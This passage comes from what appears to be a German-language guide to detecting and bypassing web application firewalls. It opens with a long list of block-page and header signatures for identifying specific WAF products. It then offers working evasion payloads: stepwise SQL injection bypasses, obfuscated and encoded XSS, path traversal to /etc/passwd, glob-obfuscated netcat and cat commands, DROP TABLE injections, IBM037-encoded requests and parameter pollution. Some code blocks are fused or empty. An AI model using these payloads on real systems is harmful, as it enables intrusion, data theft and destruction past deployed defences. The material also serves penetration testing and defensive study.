  • Erkennungsmethode:
    • Die Antwortseite enthält den folgenden Textauszug:
      Unauthorized Activity Has Been Detected. und Case Number.
    • Die blockierte Antwortseite enthält einen Verweis auf die E-Mail radwarealerting@{site.tld}.
    • Die blockierte Antwortseite hat den Titel Unauthorized Request Blocked.
    • Antwortheader können den Header-Feldnamen X-SL-CompState enthalten.
Reblaze
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Cookies in Antwortheadern enthalten den Header-Feldnamen rbzid=.
    • Der Server-Feldwert könnte den Textauszug Reblaze Secure Web Gateway enthalten.
    • Die Antwortseite enthält:
      • Access Denied (403) in Fettschrift.
      • Text Current session has been terminated.
      • For further information, do not hesitate to contact us.
Request Validation Mode
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Eine Firewall, die speziell auf ASP.NET-Websites und sonst nirgends zu finden ist.
    • Die Antwortseite enthält einen der folgenden Textauszüge:
      • ASP.NET has detected data in the request that is potentially dangerous.
      • Request Validation has detected a potentially dangerous client input value.
      • HttpRequestValidationException.
    • Der zurückgegebene blockierte Antwortcode ist immer 500 Internal Error.
RSFirewall
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die Antwortseite enthält:
      • Schlüsselwort COM_RSFIREWALL_403_FORBIDDEN.
      • Schlüsselwort COM_RSFIREWALL_EVENT.
Sabre
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Gibt bei bösartigen Anfragen den Statuscode 500 Internal Error zurück.
    • Der Antwortinhalt hat:
      • Kontakt-E-Mail [email protected].
      • Fette Warnung Your request has been blocked.
      • Textauszug clicking the above email link will automatically add some important details to the email for us to investigate the problem.
Safe3
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwortheader enthalten:
      • Der X-Powered-By-Header hat den Feldwert Safe3WAF.
      • Der Server-Header enthält den Feldwert Safe3 Web Firewall.
    • Die Antwortseite enthält das Schlüsselwort Safe3waf.
SafeDog
  • Erkennbarkeit: Einfach/Mittel
  • Erkennungsmethode:
    • Der Server-Header in der Antwort kann Folgendes enthalten:
      • Schlüsselwort WAF/2.0.
      • Feldwert safedog.
SecKing
  • Erkennbarkeit: Einfach/Mittel
  • Erkennungsmethode:
    • Der Server-Header in der Antwort kann Folgendes enthalten:
      • Schlüsselwort SECKINGWAF.
      • Feldwert SECKING/{version}.
SecuPress
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Antwortinhalt kann Folgendes enthalten:
      • SecuPress als Text.
      • Block ID: Bad URL Contents als Text.
    • Der zurückgegebene Antwortcode ist 503 Service Unavailable.
Secure Entry
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält den Wert Secure Entry Server.
SecureIIS
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die Antwortseite enthält einen der folgenden Textauszüge:
      • Bild mit beyondtrust-Logo.
      • Download SecureIIS Personal Edition.
      • Verweis auf die URL http://www.eeye.com/SecureIIS/.
      • Textauszug SecureIIS Error.
SecureSphere
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die Antwortseite enthält den folgenden Textauszug:
      • Fehler im h2-Text.
      • Titel enthält nur den Text Error.
      • Text Contact support for additional information.
SEnginx
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält das Schlüsselwort SENGINX-ROBOT-MITIGATION.
ServerDefender VP
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwort enthält das Header-Feld X-Pint mit dem Schlüsselwort p80.
Shadow Daemon
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält das Schlüsselwort request forbidden by administrative rules..
ShieldSecurity
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält:
      • Text You were blocked by the Shield..
      • Textauszug Something in the URL, Form or Cookie data wasn't appropriate.
      • Warning: You have {number} remaining transgression(s) against this site.
      • Seriously stop repeating what you are doing or you will be locked out.
SiteGround
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält
      The page you are trying to access is restricted due to a security rule Textauszug.
SiteGuard (JP Secure)
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Die Antwortseite enthält:
      • Textauszug Powered by SiteGuard.
      • Textauszug The server refuse to browse the page..
      • The URL may not be correct. Please confirm the value.
SiteLock TrueShield
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Quelltext der blockierten Antwortseite enthält Folgendes:
      • Verweis auf die URL www.sitelock.com.
      • Text Sitelock is leader in Business Website Security Services..
      • Schlüsselwort sitelock-site-verification.
      • Bild sitelock_shield_logo.
SonicWall
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält den Schlüsselwortwert SonicWALL.
    • Die blockierte Antwortseite enthält einen der folgenden Textauszüge:
      • Bild mit Dell-Logo.
      • This request is blocked by the SonicWALL.
      • Textauszug Web Site Blocked.
      • nsa_banner als Schlüsselwort. :p
Sophos UTM
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält das Schlüsselwort Powered by UTM Web Protection.
SquareSpace
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Der zurückgegebene Antwortcode bei bösartigen Anfragen ist 404 Not Found.
    • Die blockierte Antwortseite enthält einen der folgenden Textauszüge:
      • Schlüsselwort BRICK-50.
      • Textauszug 404 Not Found.
SquidProxy IDS
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält den Feldwert squid/{version}.
    • Die blockierte Antwortseite enthält
      Access control configuration prevents your request from being allowed at this time..
StackPath
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Enthält ein Bild mit StackPath-Logo.
    • Die blockierte Antwortseite enthält
      You performed an action that triggered the service and blocked your request.
Stingray
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Der blockierte Antwortcode gibt 403 Forbidden oder 500 Internal Error zurück.
    • Antwortheader enthalten den Header-Feldnamen X-Mapping.
Sucuri CloudProxy
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwortheader können die Schlüsselwörter Sucuri oder Cloudproxy enthalten.
    • Die blockierte Antwortseite enthält den folgenden Textauszug:
      • Text Access Denied - Sucuri Website Firewall.
      • Verweis auf die URL https://sucuri.net/privacy-policy.
      • Manchmal die E-Mail [email protected].
      • Enthält einen Copyright-Hinweis ;copy {year} Sucuri Inc.
    • Antwortheader enthalten den Header X-Sucuri-ID zusammen mit normalen Anfragen.
Synology Cloud
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält Copyright (c) 2019 Synology Inc. All rights reserved. als Text.
Tencent Cloud
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Der blockierte Antwortcode gibt den Fehler 405 Method Not Allowed zurück.
    • Die blockierte Antwortseite enthält einen Verweis auf die URL waf.tencent-cloud.com.
Teros
  • Erkennbarkeit: Schwierig
  • Erkennungsmethode:
    • Antwortheader enthalten das Cookie-Feld st8id.
TrafficShield
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Der Server könnte das Schlüsselwort F5-TrafficShield enthalten.
    • Der Wert ASINFO= könnte in Antwort-Cookies erkannt werden.
TransIP
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwortheader enthalten den eindeutigen Header X-TransIP-Backend.
    • Antwortheader enthalten einen weiteren Header X-TransIP-Balancer.
UCloud UEWaf
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Antwortinhalt könnte Folgendes enthalten:
      • Verweis auf das Inurl-Verzeichnis /uewaf_deny_pages/default/img/.
      • URL ucloud.cn.
    • Die zurückgegebenen Antwortheader haben den Server-Header auf uewaf/{version} gesetzt.
URLMaster SecurityCheck
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Antwortheader könnten Folgendes enthalten:
      • Schlüsselwort UrlMaster.
      • Schlüsselwort UrlRewriteModule.
      • Schlüsselwort SecurityCheck.
    • Der blockierte Antwortcode ist der Textauszug 400 Bad Request.
URLScan
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält:
      • Textauszug Rejected-by-URLScan.
      • Als Überschrift Server Erro in Application.
      • Module: IIS Web Core in einer Tabelle.
USP Secure Entry
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Antwortheader enthalten den Feldwert Secure Entry Server.
Varnish (OWASP)
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Bösartige Anfrage gibt den Fehler 404 Not Found zurück.
    • Die Antwortseite enthält:
      • Textauszug Request rejected by xVarnish-WAF.
Varnish CacheWall
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die Antwortseite enthält:
      • Als Überschrift Error 403 Naughty, not Nice!.
      • Als Text Varnish cache Server.
Viettel
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die Antwortseite enthält:
      • Die Blockseite hat den Titel Access denied · Viettel WAF.
      • Verweis auf die URL https://cloudrity.com.vn/.
      • Die Antwortseite enthält die Schlüsselwörter Viettel WAF system.
      • Kontaktinformationen Verweis auf die URL https://cloudrity.com.vn/customer/#/contact.
VirusDie
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die Antwortseite enthält:
      • Bild http://cdn.virusdie.ru/splash/firewallstop.png.
      • Copyright-Hinweis copy; Virusdie.ru

        .
      • Der Titel der Antwortseite enthält das Schlüsselwort Virusdie.
      • Seiten-Metadaten enthalten das Schlüsselwort name="FW_BLOCK".
WallArm
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Server-Header enthalten den Wert nginx-wallarm.
WatchGuard IPS
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Server-Header können den Feldwert WatchGuard enthalten.
    • Die blockierte Antwortseite enthält:
      • Text Request denied by WatchGuard Firewall.
      • WatchGuard Technologies Inc. als Fußzeile.
WebARX Security
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Beschränkt sich speziell auf WordPress-Sites.
    • Die blockierte Antwortseite enthält:
      • Text This request has been blocked by WebARX Web Application Firewall.
      • Verweis auf das Verzeichnis /wp-content/plugins/webarx/, in dem es installiert ist.
WebKnight
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwortheader enthalten das Schlüsselwort WebKnight.
    • Die blockierte Antwortseite enthält:
      • Textwarnung WebKnight Application Firewall Alert.
      • Textauszug AQTRONIX WebKnight.
    • Der blockierte Antwortcode ist 999 No Hacking. :p
    • Der blockierte Antwortcode ist auch 404 Hack Not Found. :p
WebLand
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort Apache Protected By WebLand WAF.
WebRay
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort WebRay-WAF.
    • Antwortheader können das Feld DrivedBy mit dem Wert RaySrv RayEng/{version} haben.
WebSEAL
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält das Schlüsselwort WebSEAL.
    • Die blockierte Antwortseite enthält:
      • Text This is a WebSEAL error message template file.
      • Textauszug WebSEAL server received an invalid HTTP request.
WebTotem
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält The current request was blocked by WebTotem.
West263CDN
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwortheader enthalten das Header-Feld X-Cache mit dem Wert WT263CDN.
Wordfence
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwortheader enthalten das Schlüsselwort WebKnight.
    • Die blockierte Antwortseite enthält:
      • Textauszug Generated by Wordfence.
      • Textwarnung A potentially unsafe operation has been detected in your request to this site.
      • Textwarnung Your access to this site has been limited.
      • Textauszug This response was generated by Wordfence.
WTS-WAF
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Titel der blockierten Antwortseite enthält das Schlüsselwort WTS-WAF.
    • Der Server-Header enthält wts als Wert.
XLabs Security WAF
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Antwortheader enthalten das Header-Feld X-CDN mit dem Wert XLabs Security.
Xuanwudun WAF
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält einen Verweis auf die Site-URL http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/.
Yunaq Chuangyu
  • Erkennbarkeit: Mittel
  • Erkennungsmethode:
    • Die Antwortseite verweist auf:
      • URL 365cyd.com oder 365cyd.net.
      • Verweis auf die Hilfeseite unter http://help.365cyd.com/cyd-error-help.html?code=403.
Yundun
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header enthält YUNDUN als Wert.
    • Das X-Cache-Header-Feld enthält YUNDUN als Wert.
    • Die Antwortseite enthält den Textauszug Blocked by YUNDUN Cloud WAF.
    • Die blockierte Antwortseite enthält einen Verweis auf die URL yundun.com/yd_http_error/.
Yunsuo
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält einen Bildklassenverweis auf yunsuologo.
    • Antwortheader enthalten den Feldnamen yunsuo_session.
YxLink
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die Antwort könnte das Cookie-Feld yx_ci_session haben.
    • Die Antwort könnte das Cookie-Feld yx_language haben.
    • Der Server-Header enthält den Feldwert Yxlink-WAF.
ZenEdge
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Die blockierte Antwortseite enthält einen Verweis auf das Verzeichnis /__zenedge/assets/.
    • Der Server-Header enthält das Schlüsselwort ZENEDGE.
    • Blockierte Antwortheader können den Header X-Zen-Fury enthalten.
ZScaler
  • Erkennbarkeit: Einfach
  • Erkennungsmethode:
    • Der Server-Header hat den Wert ZScaler.
    • Die blockierte Antwortseite enthält:
      • Text Access Denied: Accenture Policy.
      • Verweis auf die URL https://policies.accenture.com.
      • Verweis auf das Bild unter https://login.zscloud.net/img_logo_new1.png.
      • Your organization has selected Zscaler to protect you from internet threats.
      • The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate.

Fuzzing/Bruteforcing:

Methode:

Ausführen einer Reihe von Payloads gegen die URL/den Endpunkt. Einige nützliche Fuzzing-Wortlisten:

  • Wortlisten speziell für Fuzzing
    • Seclists/Fuzzing.
    • Fuzz-DB/Attack
    • Other Payloads

Technik:

  • Laden Sie Ihre Wortliste in den Fuzzer und starten Sie den Brute-Force-Angriff.
  • Protokollieren/aufzeichnen aller Antworten der verschiedenen gefuzzen Payloads.
  • Verwenden Sie zufällige User-Agents, von Chrome Desktop bis iPhone Browser.
  • Wenn eine Blockierung festgestellt wird, erhöhen Sie die Fuzz-Latenz (z. B. 2–4 Sekunden).
  • Verwenden Sie immer Proxychains, da die Wahrscheinlichkeit groß ist, dass Ihre IP blockiert wird.

Nachteile:

  • Diese Methode scheitert oft.
  • Oft wird Ihre IP blockiert (vorübergehend/dauerhaft).

Regex Reversing:

Methode:

  • Effizienteste Methode zur Umgehung von WAFs.
  • Einige WAFs verlassen sich darauf, die Angriffs-Payloads mit den Signaturen in ihren Datenbanken abzugleichen.
  • Wenn ein Payload mit dem Regex übereinstimmt, löst der WAF Alarm aus.

Techniken:

Blacklisting Detection/Bypass

  • Bei dieser Methode versuchen wir, die Regeln Schritt für Schritt zu identifizieren, indem wir die gesperrten Schlüsselwörter beobachten.
  • Die Idee ist, den Regex zu erraten und die nächsten Payloads so zu gestalten, dass sie die gesperrten Schlüsselwörter nicht verwenden.

Fall: SQL Injection

• Schritt 1:

Gefilterte Schlüsselwörter: and, or, union
Wahrscheinlicher Regex: preg_match('/(and|or|union)/i', $id)

  • Blockierter Versuch: union select user, password from users
  • Umgangene Injection: 1 || (select user from users where user_id = 1) = 'admin'
• Schritt 2:

Gefilterte Schlüsselwörter: and, or, union, where

  • Blockierter Versuch: 1 || (select user from users where user_id = 1) = 'admin'
  • Umgangene Injection: 1 || (select user from users limit 1) = 'admin'
• Schritt 3:

Gefilterte Schlüsselwörter: and, or, union, where, limit

  • Blockierter Versuch: 1 || (select user from users limit 1) = 'admin'
  • Umgangene Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Schritt 4:

Gefilterte Schlüsselwörter: and, or, union, where, limit, group by

  • Blockierter Versuch: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
  • Umgangene Injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
• Schritt 5:

Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select

  • Blockierter Versuch: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Umgangene Injection: 1 || 1 = 1 into outfile 'result.txt'
  • Umgangene Injection: 1 || substr(user,1,1) = 'a'
• Schritt 6:

Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select, '

  • Blockierter Versuch: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
  • Umgangene Injection: 1 || user_id is not null
  • Umgangene Injection: 1 || substr(user,1,1) = 0x61
  • Umgangene Injection: 1 || substr(user,1,1) = unhex(61)
• Schritt 7:

Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select, ', hex

  • Blockierter Versuch: 1 || substr(user,1,1) = unhex(61)
  • Umgangene Injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
• Schritt 8:

Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select, ', hex, substr

  • Blockierter Versuch: 1 || substr(user,1,1) = lower(conv(11,10,36))
  • Umgangene Injection: 1 || lpad(user,7,1)
• Schritt 9:

Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select, ', hex, substr, Leerzeichen

  • Blockierter Versuch: 1 || lpad(user,7,1)
  • Umgangene Injection: 1%0b||%0blpad(user,7,1)

Obfuscation:

Methode:

  • Kodieren von Payloads in verschiedene Kodierungen (eine Trial-and-Error-Methode).
  • Sie können das gesamte Payload oder Teile davon kodieren und rekursiv testen.

Techniken:

1. Case Toggling

  • Manche schlecht entwickelten WAFs filtern selektiv nur bestimmte Groß-/Kleinschreibungsvarianten.
  • Wir können Groß- und Kleinbuchstaben kombinieren, um effiziente Payloads zu entwickeln.

Standard: <script>alert()</script>
Umgangen: <ScRipT>alert()</sCRipT>

Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Umgangen: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL Encoding

  • Kodieren Sie normale Payloads mit %-Kodierung/URL-Kodierung.
  • Kann mit Online-Tools wie diesem durchgeführt werden.
  • Burp enthält einen integrierten Encoder/Decoder.

Blockiert: <svG/x=">"/oNloaD=confirm()//
Umgangen: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Blockiert: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Umgangen: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode Normalization

  • ASCII-Zeichen in Unicode-Kodierung bieten gute Varianten zur Umgehung.
  • Sie können das gesamte Payload oder Teile davon kodieren, um Ergebnisse zu erzielen.

Standard: <marquee onstart=prompt()>
Verschleiert: <marquee onstart=\u0070r\u06f\u006dpt()>

Blockiert: /?redir=http://google.com
Umgangen: /?redir=http://google。com (Unicode-Alternative)

Blockiert: <marquee loop=1 onfinish=alert()>x
Umgangen: <marquee loop=1 onfinish=alert︵1)>x (Unicode-Alternative)

TIPP: Schauen Sie sich diesen und diesen Bericht auf HackerOne an. :)

Standard: ../../etc/passwd
Verschleiert: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML Representation

  • Oft kodieren Web-Apps Sonderzeichen in HTML-Kodierung und rendern sie entsprechend.
  • Dies führt zu einfachen Umgehungsfällen mit HTML-Kodierung (numerisch/allgemein).

Standard: ">
Kodiert: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (Allgemeine Form)
Kodiert: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (Numerische Referenz)

5. Mixed Encoding

  • Manchmal neigen WAF-Regeln dazu, eine bestimmte Art von Kodierung herauszufiltern.
  • Diese Art von Filtern kann durch gemischte Kodierung der Payloads umgangen werden.
  • Tabs und Zeilenumbrüche erhöhen zusätzlich die Verschleierung.

Obfuscated:``` XSS

root@kitploit:~
__6. Verwendung von Kommentaren__
- Kommentare verschleiern Standard-Payload-Vektoren.
- Verschiedene Payloads haben unterschiedliche Möglichkeiten der Verschleierung.

__Blocked__: `<script>alert()</script>`  
__Bypassed__: `<!--><script>alert/**/()/**/</script>`

__Blocked__: `/?id=1+union+select+1,2,3--`  
__Bypassed__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--`

__7. Doppelte Kodierung__
- Oft kodieren WAF-Filter Zeichen, um Angriffe zu verhindern.
- Allerdings können schlecht entwickelte Filter (ohne Rekursionsfilter) mit doppelter Kodierung umgangen werden.

__Standard__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`  
__Obfuscated__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`

__Standard__: `<script>alert()</script>`  
__Obfuscated__: `%253Cscript%253Ealert()%253C%252Fscript%253E`

__8. Wildcard-Verschleierung__
- Globbing-Muster werden von verschiedenen Befehlszeilenprogrammen verwendet, um mit mehreren Dateien zu arbeiten.
- Wir können sie anpassen, um Systembefehle auszuführen.
- Spezifisch für Remote-Code-Ausführungs-Schwachstellen auf Linux-Systemen.

__Standard__: `/bin/cat /etc/passwd`  
__Obfuscated__: `/???/??t /???/??ss??`  
Used chars: `/ ? t s`

__Standard__: `/bin/nc 127.0.0.1 1337`  
__Obfuscated__: `/???/n? 2130706433 1337`  
Used chars: `/ ? n [0-9]`

__9. Dynamische Payload-Generierung__
- Verschiedene Programmiersprachen haben unterschiedliche Syntaxen und Muster für die Verkettung.
- Dies ermöglicht es uns, effektiv Payloads zu generieren, die viele Filter und Regeln umgehen können.

__Standard__: `<script>alert()</script>`  
__Obfuscated__: `<script>eval('al'+'er'+'t()')</script>`

__Standard__: `/bin/cat /etc/passwd`  
__Obfuscated__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash erlaubt die Pfadverkettung zur Ausführung.

__Standard__: ``  
__Verschleiert__:```

13. Token Breakers

  • Angriffe auf Tokenizer versuchen, die Logik der Aufteilung einer Anfrage in Token mit Hilfe von Token-Breakern zu durchbrechen.

  • Token-Breaker sind Symbole, die es ermöglichen, die Übereinstimmung zwischen einem Element einer Zeichenkette und einem bestimmten Token zu beeinflussen und so die Suche nach Signaturen zu umgehen.

  • Allerdings muss die Anfrage bei Verwendung von Token-Breakern weiterhin gültig bleiben.

  • Fall: Unbekanntes Token für den Tokenizer

    • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --
  • Fall: Unbekannter Kontext für den Parser (Beachten Sie die nicht kontextualisierte Klammer)

    • Payload 1: ?id=123);DROP TABLE users --
    • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

TIPP: Weitere Payloads können über dieses Spickzettel erstellt werden.

14. Verschleierung in anderen Formaten

  • Viele Webanwendungen unterstützen verschiedene Kodierungstypen und können die Kodierung interpretieren (siehe unten).
  • Verschleierung unserer Payload in ein Format, das von der WAF nicht unterstützt wird, der Server aber unsere Payload einschleusen kann.

Fall: IIS

  • IIS6, 7.5, 8 und 10 (ASPX v4.x) erlauben IBM037 Zeicheninterpretationen.
  • Wir können unsere Payload kodieren und die kodierten Parameter mit der Anfrage senden.

Ursprüngliche Anfrage:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

root@kitploit:~
Verschleierte Anfrage + URL-Kodierung:```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

Die folgende Tabelle zeigt die Unterstützung verschiedener Zeichenkodierungen auf den getesteten Systemen (wenn Nachrichten mit diesen Kodierungen verschleiert werden konnten):

TIPP: Sie können dieses kleine Python-Skript verwenden, um Ihre Nutzlasten und Parameter in die gewünschten Kodierungen zu konvertieren.

ZielKodierungenAnmerkungen
Nginx, uWSGI-Django-Python3IBM037, IBM500, cp875, IBM1026, IBM273
  • Query-String und Body müssen kodiert werden.
  • URL-dekodierte Parameter im Query-String und Body.
  • Gleichheitszeichen und kaufmännisches Und müssen ebenfalls kodiert werden (keine URL-Kodierung).
Nginx, uWSGI-Django-Python2IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424
  • Query-String und Body müssen kodiert werden.
  • Anschließend URL-dekodierte Parameter im Query-String und Body.
  • Gleichheitszeichen und kaufmännisches Und sollten in keiner Weise kodiert werden.
Apache-TOMCAT8-JVM1.8-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Query-String in seinem ursprünglichen Format (kann wie üblich URL-kodiert sein).
  • Body kann mit oder ohne URL-Kodierung gesendet werden.
  • Gleichheitszeichen und kaufmännisches Und sollten in keiner Weise kodiert werden.
Apache-TOMCAT7-JVM1.6-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025
  • Query-String in seinem ursprünglichen Format (kann wie üblich URL-kodiert sein).
  • Body kann mit oder ohne URL-Kodierung gesendet werden.
  • Gleichheitszeichen und kaufmännisches Und sollten in keiner Weise kodiert werden.
IIS6, 7.5, 8, 10 -ASPX (v4.x)IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025

HTTP-Parameter-Verschmutzung

Methode:

  • Diese Angriffsmethode basiert darauf, wie ein Server Parameter mit denselben Namen interpretiert.
  • Mögliche Umgehungsmöglichkeiten sind hier:
    • Der Server verwendet den zuletzt empfangenen Parameter, und die WAF prüft nur den ersten.
    • Der Server vereint den Wert aus ähnlichen Parametern, und die WAF prüft sie getrennt.

Technik:

  • Die Idee ist, zu ermitteln, wie die Parameter vom Server interpretiert werden.
  • In einem solchen Fall können wir die Nutzlast an einen Parameter übergeben, der nicht von der WAF überprüft wird.
  • Ebenso nützlich ist die Verteilung einer Nutzlast auf mehrere Parameter, die später vom Server zusammengefügt werden können.

Nachfolgend ein Vergleich verschiedener Server und ihrer relativen Interpretationen:

UmgebungParameterinterpretationBeispiel
ASP/IISVerkettung durch Kommapar1=val1,val2
JSP, Servlet/Apache TomcatErster Parameter wird verwendetpar1=val1
ASP.NET/IISVerkettung durch Kommapar1=val1,val2
PHP/ZeusLetzter Parameter wird verwendetpar1=val2
PHP/ApacheLetzter Parameter wird verwendetpar1=val2
JSP, Servlet/JettyErster Parameter wird verwendetpar1=val1
IBM Lotus DominoErster Parameter wird verwendetpar1=val1
IBM HTTP ServerLetzter Parameter wird verwendetpar1=val2
mod_perl, libapeq2/ApacheErster Parameter wird verwendetpar1=val1
Oracle Application Server 10GErster Parameter wird verwendetpar1=val1
Perl CGI/ApacheErster Parameter wird verwendetpar1=val1
Python/ZopeErster Parameter wird verwendetpar1=val1
IceWarpEin Array wird zurückgegeben['val1','val2']
AXIS 2400Letzter Parameter wird verwendetpar1=val2
DBManVerkettung durch zwei Tildenpar1=val1~~val2
mod-wsgi (Python)/Apache

HTTP-Parameter-Fragmentierung

  • HPF basiert auf dem Prinzip, dass der Server den Wert, der über die Parameter übergeben wird, vereint.
  • Wir können die Nutzlast in verschiedene Komponenten aufteilen und dann die Werte über die Parameter übergeben.

Beispiel-Nutzlast: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Beispiel-Query-URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

TIPP: Ein Beispiel aus der Praxis, wie Umgehungen mit dieser Methode erstellt werden können, finden Sie hier.

Browser-Fehler:

Zeichensatz-Bugs:

  • Wir können versuchen, den Zeichensatz-Header auf ein höheres Unicode (z.B. UTF-32) zu ändern und Nutzlasten zu testen.
  • Wenn die Seite die Zeichenfolge dekodiert, wird die Nutzlast ausgelöst.

Beispiel-Anfrage:

root@kitploit:~
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
